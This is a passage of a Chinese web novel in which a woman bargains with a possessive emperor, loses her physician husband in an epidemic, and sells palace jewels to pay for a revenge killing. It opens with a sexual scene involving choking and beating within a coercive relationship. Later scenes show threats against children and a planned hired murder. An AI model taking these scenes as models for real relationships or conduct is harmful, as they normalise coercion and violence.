因过度兴奋,顾时的额头上出了一层细密的汗珠,眼睛也变得潮湿。 她猛地收紧了他脖子上的结,窒息感让他的喉咙里发出断断续续的声音。 灼热的痛觉和窒息感轮流折磨着他,一阵一阵晕眩的感觉让他有些成瘾。 她用他的腰带猛地抽了一下他的脸,侧颊上出现一道醒目的红痕。 这药确实有效,被陶金荣用各种手段折磨了一遍,她都已经对用这种方式报复他而感到无趣厌烦,收手睡觉了,他竟然还没有结束。 终于,他释放在了她脱掉的肚兜之中。 把那肚兜丢弃在了地上,顾时冷笑一声,伸手掐住了陶金荣的脖子: “陶金荣,你竟敢这样折辱我?真是活腻了。” “你不也挺乐在其中的吗?要是你心不甘情不愿,就把我的罪行完完整整地昭告天下,看看到时候丢人的是谁!” 打人也是个体力活,她本就心累,现在更是觉得精疲力竭,只想倒头就睡。 “陶金荣,你看看这是什么?” 他披上中衣,从桌子上拿了一张宣纸,嘲讽地递给了她。 那是一纸放妻书: “立书人秦思昭,从幼凭媒娉定陶金荣为妻,情愿立此放妻书,任其改婚,永无争执。” 纸上仅有寥寥无几的几个字,却一下子晃醒了她。 两行泪一下从她的眼眶里滚落了下来, “顾时,我知道这一定是你逼迫他写的。” “呵,要是真论起来,七出之罪你犯了好几条,他早就对你忍无可忍了,想休妻也不奇怪吧。” 顾时的挑拨离间她一个字都不信,她只看着他身上纵横交错的伤痕冷笑: “被搞成这个样子,还有力气挑拨离间,我要见他一面,听他亲口跟我说。” “好,见就见,我明日就把他叫过来。” 他的眼神变得晦暗不明,只伸出手把她锁在了怀里。 “睡吧。” 想到明天就能再见到秦思昭,陶金荣就觉得心里又酸涩,又期待,忍不住胡思乱想了好一会儿。 可她实在是又困又累,没忍住便睡着了。 到了日上三竿的时候,顾时毫不客气地把她摇醒。 “陶金荣,你到底还要不要去见你前夫?” “明明是我丈夫,哪门子的前夫。” 她不管三七二十一便咬了一口顾时的手。 洗漱完毕,又换了衣裳,跟着顾时走进了侧房,秦思昭确实就怔怔地站在里面等着。 才不过几天的时间,他整个人就瘦得几乎脱相了,双眼深深地凹陷了下去,嘴唇干涩,上面隐隐约约地有血痕。 “阿昭!” 她急切地叫了他一声,不管不顾地抱了上去,眼泪氤湿了他的肩膀。 “荣儿……皇后娘娘……请不要这样……” 她抚着他的脸,哭喊着: “你疯了!我永远都是你的妻子!你为什么要这样叫我!” 秦思昭只默不作声地往后撤了半步。 顾时环抱双手看着这一幕,冷冷说道: “陶金荣,我已经承诺了让你做我的正妻,他不想误了你的前程,你也别不领情。” “呸!谁稀罕!” “见也见过了,秦思昭,你该走了。” 秦思昭哽咽了一声,用袖口轻轻拭泪,便迈开千斤之重的步子离去了。 陶金荣一个人站在正中央,转过头来,死死盯着他质问: “干出这种丑事,你不觉得很丢人吗!” “我知道你喜欢他不喜欢我,可我都已经决定这么做了,名誉又算得上什么。” 陶金荣用袖子抹了一把脸,咳嗽了几声,快步走到他面前说道: “顾时,咱们来谈一谈条件。” “有什么可谈的……” 他眼神躲闪,往后退了退。 “你想不想要孩子?” “诶?” 他没想到她突然开始说这个。 “这个……额,应该还是得有一个的吧。” “我生下你的孩子后,放我回去。” 她顿了顿,又说道: “如果你不同意,我就想办法把你的孩子弄死。” “那你可以时不时回来看一看我们吗?” “可以。” 陶金荣点了点头。 他拉起她的手,低下头说道: “这样委屈了我,你还得对我更好一点。” 暂且是各退一步,谈好了条件,她无奈地把头靠在了他的肩膀上。 她深知能这样已经是来之不易,也不再多说什么,只叹了口气。 尚且走一步看一步吧……最后会发展成什么样她也说不好。 她的嘴角不由自主地抽搐了一下,不会到最后,她真的同时拥有了两个丈夫吧…… 如果*顾时不作妖的话……好像也不是不行? 第116章 阅读提示:这是正文的另一个结局,时间线在第九十一章 之后,是陶金荣x顾时的1v1结局,秦思昭在这个时间线内死了,会有点虐。 ———— 陶金荣独自一人把窗户打开,秋季的风便吹了进来。 秋天的风和夏天的风很不一样,夏天的风就像一块湿抹布扑过来捂住她的口鼻,秋天的风又像一片一片的小刀,剐在她的身上。 大黑已经从只会摇尾乞怜的小狗长成了一只初具威风稳重之态的大狗,它十分警觉,但凡有人路过便会立起双耳,毫无疑问,不久之后它就会长成一只擅长看家护院的好狗。 可是都过了这么久,秦思昭还是没有回来。 陶金荣独自看着窗外,眼帘垂了下来,睫毛的阴影压住了眼神光。 她知道现在的情况变得很不好。 起初是有人开始咳嗽,随后便是有人高烧不止,抽搐并且口吐白沫,最后……死亡会中止一切。 即便不出门,她也总能听到人的哭声,还有白事的唢呐声。 那声音极其刺耳,嘹亮,高亢,她就算捂紧了耳朵,那唢呐声也会从她手指的缝隙中往里钻,像一根铁丝来来回回刺进她的耳朵眼里。 她摸了摸腰间,样式简朴的香囊传来一阵微弱的药香。 好在秦思昭懂得药理,早早便给她留了艾草香囊,挂在腰间,以免感染外邪。 即使有香囊在,他也嘱咐她不要出门乱走,雇了一个大娘来收拾家务,又每日派家丁来给她送食物。 家丁常常会给她带口信,有时候他会替秦思昭塞给她一封家书,内容无非是他很好,叫她不要担心,现在外面情况不稳定,叫她不要乱走一类的车轱辘话。 拿到他的家书,她莫名其妙地一丁点都高兴不起来。 她十指收紧,把暄软泛黄的纸张揉烂,狠狠丢到地上,又踩了两脚。 她不想要这狗屁倒灶的家书,她只想要他回来。 终于,秦思昭回来了。 不知为何他不肯进家门,只站在她的窗外。 “荣儿,别把窗户打开。” 她没听,用手指捅烂了糊在窗户上的一层纸,从那个小洞里看着秦思昭。 他瘦了一圈,看起来风尘仆仆,双眼有些疲惫浑浊,显然是操劳过度。 看见窗户上被戳出来的小洞,秦思昭无奈地叹了口气,往后退了两步。 “荣儿,现在情况很不好,李县丞已经……去世了……现在县里没人做主,我实在放心不下便回来陪你,只是得先分隔几天,免得把身上不干不净的东西传给你。” 秦思昭的声音低沉到甚至有些郁闷,整个人忧心忡忡。 可陶金荣的声音却与他截然相反,她忍不住咯咯笑了起来,像一只雀跃的小鸟: “那你先住西屋吧,我去给你拿干净的新衣服。” 听到秦思昭回来陪她,陶金荣心中的阴霾瞬间一扫而空,早就忘了什么狗屁李县丞是死是活,更想不起来要为外面的情况而发愁。 反正她的丈夫回来了,她凭什么不能高兴,那些个乱七八糟的阿猫阿狗与她何干。 她喜滋滋地把他的衣服拿到了西屋去,恨不能马上扑到他的怀里。 可秦思昭却生怕把病气传给她,用火把旧衣服全烧了,又洗了澡,才换上新衣。 整整五天后,秦思昭才肯见她。 陶金荣知道外面现在很危险,可她对外面发生了多少惨剧都满不在乎,只欢欢喜喜地把头靠在了他的怀里,像一只小鱼一样纠缠着他。 她十分欢快,浑身是劲儿,直接把他压在了床上,寻求着亲近,他也只能吻她。 “阿昭,不要担心那么多。” 她脱掉中衣,躺在他的怀里。 “你回来陪我,我特别特别的高兴。” “我放心不下你一个人。” 他吻了吻她的额头,又吻了她的脸颊,嘴唇,锁骨……一路往下…… 她有些嗔怪地催促着: “担心那么多干什么?这种时候还心不在焉的,快点跟我一起嘛。” “好。” 秦思昭想露出一个真心实意的笑容,可他自己却觉得这是一个苦笑。 需要担心的事太多,他做不到把一切都抛之脑后,只顾着自己快活。 吻了吻她的手腕,他看她的目光里带着几分偏执,心想,他至少要和她留下一些愉快的回忆。 轻轻地解开她的腰带,他十分细致地抚慰了她。 她扣着他肩膀的手猛地收紧了些,喉咙里发出热切的声音,一遍一遍地叫着他的名字。 “阿昭!” “我……我好想你!” 她潮红的脸颊上有一层细密的小汗珠,心满意足地躺在他的怀里,和他相拥而眠。 次日,李县丞的妻子却匆匆地来了秦思昭府上。 她原本是个丰腴的妇女,可却面容憔悴,已经瘦了一圈。 见到秦思昭,她扑通一声跪下,泪流满面: “这是五百两银子,求秦大夫救我的儿子。” “夫人,快起来吧,我恐怕是救不了的。” “求秦大人无论如何都要救我的儿子!” 她撕心裂肺地哭喊着。 “我已经没了丈夫!再没了儿子!可让我怎么活呢!您无论如何都得跟我走!否则……” 她一下停了哭声,用阴冷的眼神死死瞪着他,双眼满布血丝。 “罢了,夫人,我跟您去府上看看,只是不一定能救得了。” 给李璋把完脉后,秦思昭的脸色变得麻木,他没少和重疾之人打交道,早就见惯了死亡。 她原本活泼淘气的儿子李璋已经是出气多,进气少,即便是他已经尽力针灸,依然是无力回天。 “夫人,恐怕我也无能为力。” 她大哭一声,嘶喊着: “我的儿啊!” 忽然,她的面色变得狰狞,冲上来双手如钩,死死揪住了他的衣领。 “你要是治不活我的璋儿……咱们都别想好!” 吱呀一声,门被猛地打开,秦思昭扭头一看,几个家丁已经把陶金荣死死按在了地上,猛地把手中的刀往下一丢,直直插入了她脖子旁边的地面。 他的脸色瞬间变得惨白。 陶金荣破口大骂: “你这个烂了心肝的臭婊|子!自己死了汉子就见不得别人恩爱!呸!活你几把的该!五百两银子就想让我男人给你卖命,你知道老娘是谁吗!” 家丁按着她的后脖颈子,把她的头使劲往地上砸了两下,秦思昭猛地把李县丞的夫人推在了地上,伸手就把不断抽搐的李璋搂在了怀里,另一只手掐在他的脖子上。 “放她回家,否则我就掐死你的儿子。” “娘……” 李璋一遍翻白眼一遍哭叫。 “夫人,您心底知道现在谁的时间最耽搁不起,马上,放开她。” “秦思昭!他还那么小!你怎么能拿……怎么能拿一个幼稚小儿来要挟我一个寡妇!” 她又哭又叫,显然没想到会变成这种情况,她不过是在赌秦思昭是个斯文体面的老实人,可是这回她竟然赌输了。 “不是您先用我的妻子来威胁我的吗?如果您敢杀我妻子,我就马上拧断您儿子的脖子,我见过的死人多了去了,没什么下不去手的。” “现在,马上放开她,否则没得商量。” 李县丞的夫人哭嚎一声,直直地倒在了地上。 “放开那个女人吧!” 家丁只好松开了手,可陶金荣也不是吃素的,上去就是一个耳光打在了她的脸上。 那李夫人一边哭嚎一边躲在了家丁后面。 “要是我儿子死了!今天谁也别活!你们两个都得死!我管不了那么多了!” 秦思昭和陶金荣对视了一眼,他忽然急迫地吻了她一下。 这突然的一吻把她怔住了,她莫名其妙地落下泪来,直直地站在他身边,半个字都说不出。 他把李璋平放在床铺上,开始给他施针。 针施到一半,他忽然吐出一口血来。 这一口血红得刺眼,陶金荣用袖子掩着脸开始止不住的啜泣。 她不忍看他,又强迫自己睁开双眼,看着他苍白的脸色,消瘦的身影。 这个可恶的女人,想用她丈夫的命去换她儿子的命。 “哇——” 李璋不再抽搐,而是吐出了很多胃液,又不停地咳嗽了起来。 “我的儿!” 他的母亲冲过去抱住了他,不停哭泣。 李璋已经恢复了神志,小声地唤着他的娘亲。 秦思昭已经摇摇欲坠,陶金荣根本不在乎李璋的死活,赶紧过去抱住了他。 “荣儿,大概是之前在乌头师父那里中的毒,药性发作了。” 秦思昭用最后的力气擦了擦嘴角的血,他不想死得这么难看。 他苦笑了一下,体内有残留的毒,不能用这一手鬼门十三针,只抬起手,轻抚了她的脸颊,此时他已经顾不上手上的血沾染到了她的脸上,只想感受她脸颊的温度。 “活下去。” 抱着秦思昭尚未变冷的尸身,陶金荣出乎意料地平静。 她抬起眼,看了那个欢欢喜喜抱着儿子的女人。 她这辈子都跟她没完。 那女人不知欢喜了多久,便满脸歉疚地转过身来,跪下给她磕了个头,声泪俱下: “对不起……秦夫人……我实在不知道会变成这样……我只是……我只是太想救活我家儿子了!真的对不起!这银两你拿去吧。” 她用沙哑平静的嗓音说道: “你的银两我不要。我先给你讲讲,我是怎么和秦思昭在一起的吧。” 第117章 “我之前跟王爷鬼混,他想娶别人,我就成了累赘,偏偏这时候我有婚约的青梅竹马阿昭考中了状元,愿意风风光光地来娶我,可这时王爷已经登基,变成皇上了,他不愿意放手,说想让我做他的皇后。” “可是,可是阿昭他是因为想念我,想来娶我,才考中状元的,我怎么可能和他分开呢?” “所以我,策划了假死,让皇上以为我死了,悄悄地跟秦思昭一起私奔了。” “你根本不知道我们付出了多少才能在一起,竟然用五百两银子就想买他的命?” 李县丞的夫人用怜悯愧疚的眼神看着陶金荣,搭腔道: “夫人不要伤心过度,先把秦大人安置了吧。” 她理解陶金荣受的刺激太大,一时之间疯了,开始说些胡话了。 低下头,猛地撞上了一双厉鬼似的双眼,李夫人吓得退后了两步,紧紧躲在家丁身后。 她相信陶金荣会猛地扑上来掐住她的脖子,撕碎她的脸皮,再把那热烫烫的茶泼到她的脸上。 疯子力气最大,她害怕她。 “你们几个,陪她把丧事先操办了,然后送她回去吧。” 她把几块碎银子塞到家丁手里。 “快去。” 陶金荣很平静地操办了秦思昭的丧事。 他临死前没有交代,她便把他葬入了自己家的祖坟。 她蹲坐在地上,一边给他烧纸,一边说道: “你若是不愿葬在这儿,便给我托梦吧,阿昭。” 烧完纸,她又要回到空空如也的家。 大黑摇着尾巴走过来迎接她,她摸了摸狗硬梆梆的脑壳,心想它不知道,秦思昭再也不会回来了。 浑浑噩噩地度过了两天,门口响起一阵沙哑的哭声,有人在砰砰地敲她的门。 “秦师父!秦师父你在吗!” 她推门出去,冷冷道: “秦思昭已经死了。” 门口站着的是一个十三四岁的男孩子,他忽然听到这噩耗,瞬间露出了错愕的眼神,往后退了两步。 “那……那怎么办……” 这两日陶金荣几乎没吃下什么东西,脸颊消瘦,双眼发红,看起来有几分狠厉,她斥责道: “你问我,我问谁去?你又是谁?干什么来的?” “我……我小名是虎子……大名叫于思问。我娘亲帮秦师父看药房,我是她的儿子。我记得你,你是秦思昭的娘子。” “干什么来的?” 她面色蜡黄,颇为不耐烦。 那孩子说着说着哭了起来。 “一队兵匪来了,把钱和药全都抢走,把我娘……把我娘杀掉了。” 陶金荣面色十分不好,低头咒骂了一句,又伸手扣住那孩子的肩膀。 “这里不安全,我们得赶紧往北边跑才行。” 虎子抹了抹眼泪,求道: “嫂子,你别丢下我。我知道秦师父在北边有个店面,他们都认识我,我带你去,咱们先去那里躲着。” “好孩子,你嘴巴严点,别把秦思昭死了的事说出去。” 她用手帕给他擦了擦脸。 “你会驾车吗?后门停了辆车,咱们一起走。” 陶金荣毅然把银票收拾出来了一部分,剩下的全部藏进暗室里,又带上了全部的药方子和自己的珠宝,用铁链子牵着大黑,带着狗和银票一起上了车。 “虎子,嫂子给你一张银票,你塞在鞋底子里,别叫旁人看见了。” 他点了点头,看见一只拿着一串铜钱的纤纤素手。 “这是给你的,嫂子疼你。” 他结结巴巴地道了谢,手抖着把那一串铜钱接过来了。 几天没好好吃饭的陶金荣逼着自己啃了口又干又硬的饼子,直了直脖子把饼子咽下去,说道: “咱们先一路往北走,看最远能到多远。” “嫂子,再往北走就出城了。” 两个官兵把他们二人拦了下来。 “陛下要在这里办选秀,只许进不许出,还请你们回去吧。” 陶金荣的内心忽然升起一阵怒火和恨意。 是,顾时要办选秀,要在她的家乡办选秀,可是疫病纵横不见他管,兵来如篦他置若罔闻,只有她要独自活着承受这一切。 而他呢?只需一声令下就挥霍着挨家挨户收上去的银两,风风光光地办起选秀来啦,有多少人病死,有多少人流离失所他在乎吗? 要么是无德,要么是无能,要么是二者兼具。 她压抑着怒火,用颤抖的声音说道: “虎子,好孩子,咱们先去你说的店里吧。” 她进了那杂货店里,得知看店的会计姓赵,是个寡居已久的中年妇女时,陶金荣不免松了口气,简单跟她说明了目前的情况,又说道: “阿昭他被李县丞那边的人叫走了,一时半会儿走不脱。” 她觉得鼻尖发酸,多希望事实真相就是这样。 赵大娘的声音又尖又快: “咱们这边应该没事吧,选秀就是要在这边办呢,总是应该会有人维持秩序的。” “那些官兵没一个是好东西,见了人便要勒索的,咱们还是得做两手准备。” 陶金荣的声音里明显带着私人恩怨。 赵大娘明显没当回事,只打了个哈哈说道: “没事,没事,我给你们收拾收拾,就是有点挤,能住得下,太好了,终于有人来帮我的忙了。我这里有房契,上面有官府盖的章,这是举人老爷的产业,不用交税的。” 陶金荣暂且和虎子一起在店里住下,她提起了十二分的精神,每有一个人来店里,她就咬紧牙,强迫自己露出笑脸来跟别人闲聊。 她得知了那疫病太过烈性,一旦得上,十死无生,也因此没传出太大的范围。即使如此,她还是把药方子免费写给了别人,不过几个客人都连连摆手,声称自己不识字,显然没太放在心上。 如果不再出什么大的乱子,陶金荣只想攒钱,攒多了钱,便能悄悄雇个人,把害死她丈夫的那个女人弄死。 就算她再有苦衷,再疼爱自己的儿子,那都是她自己的事。 既然她选择了逆天而行,强留住自己儿子的命,那就用她自己的命去换吧,这样才算得上公平。 陶金荣杀意已决。 过了几日,官兵每日上街巡逻,各种巧立名目让商户交钱。 就算秦思昭是举人,也免不了被刮走一些油水。 她已经打听到了,杀虎子的娘亲的是一队叛变的贼兵,已被剿灭,作乱的是一群走投无路的残党。 可是损失已经造成了,就算最后会被剿杀,又能怎么样? 她的眼睛变得疲惫,哭不出来,只静静地叹了口气。 她扭过头,看着虎子,说道: “这杂货铺也太过杂乱了,年轻姑娘肯定不喜,你把这架子减去两排,把那些个不好看的竹筐子和皂角都收起来,剩下的摆得齐整一些。” 赵大娘用尖细的嗓门说道: “那来买这些的客人怎么办呢?” “反正都是熟人面孔,直接给她们拿就是了。我之前就在京中生活,一些讲究的小姐根本不外出采买,都是家中年轻的丫鬟来,她们肯定看不上。” 她拿起了一个据说有美容养颜功效的肥皂,忍着那刺鼻的气味用了两天。 傻大黑粗,气味难闻,这种东西本身也用不出什么效果,大方脸用了也变不成小耗子脸,到时候肯定卖不出去。 把有效难闻的高成本药材全部去掉,换上香气甜美的干桂花,又叫虎子重新做了一个小且花纹精致的模具,最后往里加上能让皮肤闪烁着一层漂亮微光的石英粉,她终于对自己的成品感到满意了。 当然,它实际上也没什么效果就是了。 第118章 不过女人打扮用的东西大多都这个样子,香气馥郁,样子漂亮,实际效果近乎于无。 她想起秦思昭,他挺爱干净,可是对于外表一向不太讲究,更不在乎气味是否难闻,说不定在制作药方时,一半脸用普通肥皂,另一半脸用药皂,用上一个月然后看左右脸皮肤的对比。 他做事仔细,又不怎么看重外表,她觉得他能干得出来这事。 她拿起自己做的样子货,笑了一声,他若是知道自己这样砸他招牌,招摇撞骗,会不会气得来给她托梦? 入夜,陶金荣把头靠在枕头上,悄悄说了一句: “阿昭,你会不会来找我?” 可是她没做梦。 秦思昭怎么这般小气,连个梦都不舍得给她托呢。 她看着空荡荡的床叹了口气。 次日,她又把自己带走的那些珠宝收拾了出来,悄悄去托人定做了耳环和手链。 她知道小地方手艺不行,特意选了极其简洁大方的样式,最大程度地突出那珠宝的华彩。 街上的年轻姑娘逐渐多了起来,只要是未婚女子,都想来凑凑热闹。 给店里点上香,门面装饰漂亮,她一出门,看见很多漂亮的年轻姑娘成群结队地走在街上,一旁有负责保护她们的官兵。 她们的脖子上皆系了一条红丝带作为标识,想必都是登记过的,能得到一些优待,周围的行人都绕着她们走,不敢抬头去看。 陶金荣倚在门上冷笑,真是有人削尖脑袋往里进,有人什么都不要也得往外跑。 趁这个机会赚她们一笔钱才是正经事。 一个小丫头进来,探头探脑地问: “你们这里有没有什么好东西?” “看你要多好的东西。若是想美容养颜,买我这里的药皂就行了,若是要更好的珠宝……我这里也不是没有,看你家小姐舍不舍得出血了。” “你怎么看出来我是丫鬟的。” 陶金荣一眼便看出她是替小姐来采买的丫鬟,这让她有些不快,其余人都以为她是来选秀的小姐呢。 “我从前在京中一家珠宝店打杂,便知道高门小姐多半都不会亲自采买……” “你不去试试选秀么,就在一个破店里耽搁着?” “我成亲了,这里面的东西都是女子常用的,已经打包好了,里面有美容的香膏和各种保养用的药皂,五分银子一起拿走。” “你说的那珠宝是什么来头?” “你家小姐的父亲是谁?” 陶金荣的语气颇为不客气,小丫头皱了皱眉。 “怎么?瞧不起我们?我家小姐可是盐商之女,只是这里地方小,怕太过招摇,才没带太多珠宝。” “那便让她带足银票亲自来看,至少带柒佰两。” “你这个破店能有那么值钱的东西?不是要坑害我们吧?我同小姐一起长大,也见识过好东西的,你看我这衣裳,料子都是上好的,你先让我看看。” “你先买我的东西,我再让你看。五分银子不讲价,晚了就被别的姑娘买走了,到时候别人打扮得漂亮选上了,你家姑娘没选上,岂不是可惜。” 她知道这些小姐手里不缺钱,只缺合适的东西,时间又急迫,便开了高价。 小丫头拧了拧眉。 “那好吧,反正我横竖都得买。” 她不情不愿地掏出了五分银子。 “进来看。” 她从贴身的荷包里拿出了钥匙,把一个上锁的匣子打开,里面是红艳艳的一双耳环。 那小丫头顿时惊呼一声: “你是从哪弄到的,我家小姐都没有品质这么好的红宝石。” “有人脉。” 那小姑娘嬉笑着用胳膊肘戳了戳她,直言不讳: “你老相好送的?” 陶金荣叹了口气,点了点头说道: “算是吧。” “送了你这么贵重的东西,怎么没成呢?” “不喜欢,我还是更喜欢我夫君。” “难道他很有钱,但是长得很丑吗?” 这小姑娘实在是好奇心太重,陶金荣忍不住皱起眉头。 “你别打听了,赶紧回家去问你家小姐要不要。我这还有别的。” “遇见我你算是赶上了,除了我们家小姐,没几个识货的。” “愿意来选秀的高门女子多了去了,我倒也不愁卖,先到先得罢了。” 她做那些便宜的肥皂不过是吸引客人的幌子,真想赚钱,还得是把她从宫里带出来的那些珠宝卖出去。 在心中仔细盘算了一下,都卖掉应该就有钱雇人把仇人杀掉了,剩下的就是门路的问题。 到了晚上,一女子身姿窈窕,头戴帷帽款款走了进来,侍卫,丫鬟,皆在一旁随行。 “姑娘进来看吧。” 陶金荣把她带去了店的后方。 “这儿没别人,您可以把帷帽摘下来试试。” 她伸手把一面铜镜拿了出来,正对着姑娘,又用钥匙把那盒子拧开,让姑娘自己把耳环戴上。 姑娘轻点下颌,款款摘下帷帽,露出一张清丽端正,宛若叶上朝露的面容。 陶金荣暗暗一笑,想必她对自己的才貌是有自信的,这样生意便好做了。 “这红宝石十分罕见,少于七百七十两银不卖。” 姑娘把耳环放在自己脸旁比了比,重新放回去,叹了口气说道: “这宝石确实罕见,可一双耳环也未必能增色多少。” “这颜色十分显眼,那么多姑娘站在一起,只有显眼一些才能被注意到,若是姑娘不要,我就卖与旁人吧。” 陶金荣气定神闲地把耳环收了起来。 “姑娘,你容貌非凡,为何不自己去选秀呢?” “我已经成亲了。” 这几日总是有人这样问她,问得陶金荣有些心烦,特别是联想到过去的种种就更心烦了。 “我只带了柒佰两的银票,余钱就这么多,您看看能不能宽松一些?” 陶金荣眼珠转了转: “七百二十两吧,能弄到这样的东西可不容易。” “真的只有柒佰两。” 她叹了口气,说道: “好吧,柒佰两,银货两讫。” 今日店里只有她一人,陶金荣小心翼翼地把银票全都收了起来。 随着日子的一天天流逝,店里的东西卖得特别好,她如法炮制把剩下的首饰也尽数出手掉了。 那红宝石确实是最稀罕的物件,几乎是皇室专供,很少能流入民间,其余的首饰不过是添头。 陶金荣低头点了点银票,今日就是大选之日。 她把银票锁好,一个人看着窗外发愣,一阵孤寂从胃里往喉咙里爬,像喉咙里卡了只蜘蛛。 孤寂拉着仇恨一起走了出来,她要复仇,害死秦思昭的人不配活。 怎么死,谁来杀都不重要,只要那人死了,她就心满意足了。 可是到了自己复仇结束后,她又该为了什么而活着? 她认真地想了想,得出一个结论。 活着不过是一件再自然而然不过的事情,她现在已经不需要生命的意义了。 也许她还会爱上别人,也许不会,但那些都不重要,她失去了他,却没有失去一切,她依然是一个完完整整的人。 她站起来,遥遥地看了一眼,一堆人举着明黄色的轿辇大摇大摆地往高处走,她的指甲深深嵌入窗棂,真想一把火把这群杂碎全都烧掉。 八抬大轿下方,金盏正双手捧着东西,脸上挂着僵硬的假笑,拖着沉重的双腿往上走。 她都已经辞职了!跑路了!顾时非要把她找回来做什么! 老天奶啊,顾时以为泠川死了……只是没死心……还渴望着奇迹出现。 她心里还揣着一个能把顾时搞疯的大秘密,她到底该不该把泠川还活着的消息说出来啊啊啊! 她替泠川瞒了他这么久,顾时那个脸色差成那个样子,会不会干脆把她杀了泄愤? 顾时的双眼死气沉沉,用沙哑疲惫的嗓音说道: “金盏,你待会儿仔细找找。” “是,陛下,奴婢一定尽心竭力。” 她面上谄媚,心里却叽里咕噜地喷了一堆脏话。 人家都不择手段,不计损失地远离你和情夫私奔了!怎么可能因为你选个秀就巴巴地回来?你就做春秋大梦吧! 金盏巴巴地看了一排又一排,眼都看花了。 老天奶,感觉全世界的年轻姑娘都塞进这个小地方来了,她一个人怎么看得过来啊。 顾时纯粹是瞎胡闹呢。 一队一队的姑娘走到顾时眼前,他却神情恍惚。 无论是谁都无法吸引他的注意力。 直到他看见了一抹刺目的红。 这抹红色异常熟悉,但是他想不起来,专供皇室的东西太多了,他记不清每一个细枝末节。 但他如今不想错过任何一个可能和她有关的线索。 “金盏,你见过那红宝石吗?” 她心中直呼要命,她的记性也很糟,她连两种不同胭脂的颜色都分不清,顿时支支吾吾了起来。 从金盏的背后响起了一个清脆的女声: “陛下,那似乎是……专供皇家的贡品,镶嵌在衣服上的,一般来说,像白小姐这样的盐商之女是不能用的。” 啊,是青叶,是每天都非常细心,有时候会有点严厉的那个姑娘。 金盏向身后投去了一个感激的眼神。 青叶缓缓说道: “它……似乎是镶嵌在皇后的衣裳上的,旁人不配用,白小姐似乎有些逾越了。” 第119章 金盏往后拼命使了几个眼色,心中尖叫,青叶!青叶!你把这件事说出来干什么?还嫌顾时心里不够堵得慌吗? 我虽然知道你心细记性好!但现在明显不是该表现的时候啊啊啊! 青叶对金盏的心理活动无动于衷。 顾时的手抓紧了衣裳的下摆,眉头紧锁,眼神灰暗。 “那你便去问问是怎么回事。” 青叶点了点头,直接走了过去。 “白小姐,请您稍微留一下。” 那白家小姐讷讷应了两声,心脏跳得飞快,又高兴,又不敢高兴,她这是要被选中了么? 青叶把白小姐带到屋内,问: “我叫您来,只为了问一件事,您的耳环是从哪来的?” 没想到她单独留下自己是为了问耳环一事,白家小姐不由自主地摸了摸自己的耳垂,结结巴巴地说: “怎……怎么了吗?我的耳环可有什么奇怪之处?” “您先摘下来,让我看看。” 青叶双手捧着一个空盒子,示意白小姐把耳环放进去。 她赶紧动手摘了下来,心里七上八下。 一双艳红色的耳环就摆在盒子里,青叶轻轻把耳环拿起来,对着阳光仔细看了看。 “这镶嵌工艺根本不入流,宝石倒是真东西,这样的东西在皇后手里不算特别稀罕,怎么说也得有四五件,但那也是专供皇室的贡品,您戴是僭越了。” 听见僭越两字,白小姐瞬间吓得腿抖如筛糠。 “姑姑,我不过是从一个寻常杂货店里收来的。怎知道会是这样的东西?” “哪里的杂货店?” “就是……附近的杂货店。” “你带我去看看。” “让我的丫鬟带您去吧,是她负责外出采买的。” 那姑娘的脸色白了又一白,本能地想把这件事情推到别人身上。 可她心底还抱着一丝希望,用颤抖的声音问: “陛下他……没看中我吗?” “陛下没说。” 白小姐瞬间又害怕又尴尬,只带着青叶去找了小丫鬟,吩咐她千万不能得罪了宫中的姑姑。 小丫头倒不知道发生了什么事,高高兴兴地带着青叶去了杂货店。 刚走进去,青叶问道: “那卖给你首饰的老板长什么样?” “又年轻又漂亮。” 听到此话,看店的赵娘子顿时脸上笑出一朵花来,热情招呼道: “多伶俐的孩子,嘴真甜!” “额……” 青叶抬头看了看,只看到一张平平无奇女子的脸。* 赵娘子倒也算不上难看,看起来也岁数不算太大,不到四十岁的样子,只是青叶还是忍不住嘴角抽了抽。 那丫头倒真是伶俐得很,不多解释,只露出一个大大的笑容。 银钱拿到手,陶金荣早早就离开了这个杂货店,重回了自己的故居。 曾经熟悉的家已经被尽数砸烂,她和虎子一起默默地把这里打扫干净,她特意支走虎子,一言不发地擦去了地上的血迹。 如今店里已经请人简单装修了一遍,准备明日开张。 虎子忽然哭了起来: “我娘的尸体都被那群畜生拖走了……” 陶金荣忽然吼了他两句: “哭什么哭!真烦!赶紧弄干净。” 虎子的哭声抽抽噎噎,暂且止住了,他一言不发地去又打了一桶水。他除了她以外,没人能依靠,早就习惯了被她呼来喝去。 陶金荣冷冷道: “我给你钱送你去学武艺,等你学出来亲自去报仇好不好?” 虎子抹了把脸: “那些亡命之徒,恐怕早就被官兵杀了吧。” “窝囊废!本指着你帮老娘办点事,恐怕是办不成了。” “……” 被无故骂了一顿,他手臂上青筋暴起,猛地拧干了手里的一块抹布来泄愤,更卖力地打扫了起来。 门外忽然传来一阵半大孩子的嬉笑声: “哈哈,虎子,抱着你守了新寡的小嫂子睡觉美不美啊?便宜你小子了!” 陶金荣顿时抡起扫帚,推开门去。 “滚!一帮小兔崽子!敢惹到老娘头上来!短命鬼!不想活了!” 小孩子全都嬉笑而逃,几个半大的男孩像挨打有瘾似的,撅着屁股特意往前凑了凑,可他们没想到陶金荣这么不留情面,挂满灰尘的脏扫帚高高抡起,照着面门就一顿猛锤,惨叫声此起彼伏。 一只大黑狗缓缓走了出来,用绿森森的眼睛盯着他们,被美人打还尚且有几分乐趣,但被狗咬纯粹就是丢脸。 几个半大的男孩子终于扭头跑了。 陶金荣回去后,只见虎子木讷地干着活,孩子还没长开,一张晒黑的脸上看不出什么颜色来。 过了半晌,他才开口: “嫂子,你想让我帮你办什么事?” “我不想让害死我丈夫的人好过。” “什么?秦师父是被人害死的么?” “嗯,等你有能耐了我再告诉你。” 她给虎子递了块汗巾擦脸,他的手往回缩了缩,还是把汗巾接过去了。 “嫂子,你还会改嫁么?” “小兔崽子,轮不到你来问。” 她直接抬手给了他一个脑瓜崩,虎子捂着脑门抱怨道: “嫂子,你手劲大。” “看了你就烦。” “可附近的好多男人都暗搓搓地打探,我都帮嫂子拒绝掉了。” “那倒是没错的。” 陶金荣在心底估摸着,选秀这个时候差不多也该结束了,顾时估计也已经带着三妻四妾准备回京了吧。 只要把这一阵躲过去,之后就没事了。 再说他现在娇妻美妾傍身,肯定也不想看见她,就算真在路上撞见她,恐怕也要装作不认识吧。 李夫人已经把宅子腾出来招待顾时,自己带着儿子回了娘家。 一整天里,顾时一无所获。 那赵娘子没有学问,总是车轱辘话来回说,又爱拉家常,青叶没从她那里打探出什么有用的消息。 顾时的态度也是淡淡的,说不上是期待,也说不上是失落。 他彻底死心了。 